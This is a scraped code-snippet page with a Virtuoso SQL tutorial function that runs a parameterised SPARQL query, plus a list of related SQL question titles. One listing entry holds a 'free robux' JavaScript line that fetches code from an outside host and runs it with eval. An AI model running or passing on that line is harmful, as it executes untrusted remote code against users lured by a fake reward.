Virtuoso sql query tutorial

SQL> create function param_passing_demo ()
{
  declare stat, msg varchar;
  declare mdata, rset any;
  exec ('SPARQL SELECT ?s WHERE { graph ?g { ?s ?? ?? }}',
    stat, msg,
    vector ( /* Vector of two parameters */
      'http://www.w3.org/2001/sw/DataAccess/tests/data/Sorting/sort-0#int1',
      4 ),
    10, /* Max no of rows */
    mdata, /* Variable to get metadata */
    rset ); /* Variable to get result-set */
  if (length (rset) = 0)
    signal ('23000',
      'No data found, try demo database with installed Virtuoso tutorials');
  return rset[0][0];
}

SQL> SELECT param_passing_demo ();
callret
VARCHAR
_______________________________________________________________________________

http://www.w3.org/2001/sw/DataAccess/tests/data/Sorting/sort-0#four

1 Rows. -- 00000 msec.

Source: docs.openlinksw.com

Similar codes

1 vote109 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
5 votes126 views6 answers
Sql foreign key
SQL
0 vote107 views1 answer
Shortcut run sql pgadmin
SQL
0 vote103 views1 answer
Cursor.execute (sql, value) ValueError: operation parameter must be str
SQL
0 vote55 views1 answer
Check id exist or not in sql
SQL
2 votes94 views1 answer
Insert from table tsql
SQL
0 vote113 views1 answer
View to table sql
SQL
4 votes116 views2 answers
Float postgres
SQL
0 vote120 views2 answers
How to truncate all table in mysql workbench
SQL
0 vote95 views3 answers
Sql count condition
SQL